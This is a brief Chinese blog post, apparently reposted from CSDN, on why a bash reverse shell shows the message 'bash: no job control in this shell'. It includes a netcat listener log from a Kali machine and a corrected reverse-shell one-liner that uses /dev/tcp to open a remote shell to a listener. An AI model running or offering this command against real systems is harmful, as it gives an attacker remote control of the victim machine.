bash反弹shell时出现bash: no job control in this shell

错误

root@kali:~/Desktop# nc -lvvp 1234
listening on [any] 1234 ...
192.168.11.3: inverse host lookup failed: Host name lookup failure
connect to [172.29.255.226] from (UNKNOWN) [192.168.11.3] 54826
bash: no job control in this shell
bash-3.2$ exit
 sent 0, rcvd 50

原因是bash反弹没有加0>&1
正确:/bin/bash -i >& /dev/tcp/ip/1234 0>&1

优秀大佬:https://blog.csdn.net/qq_36119192/article/details/105906432
我第一反应时防火墙

猜你喜欢

转载自blog.csdn.net/luminous_you/article/details/109322180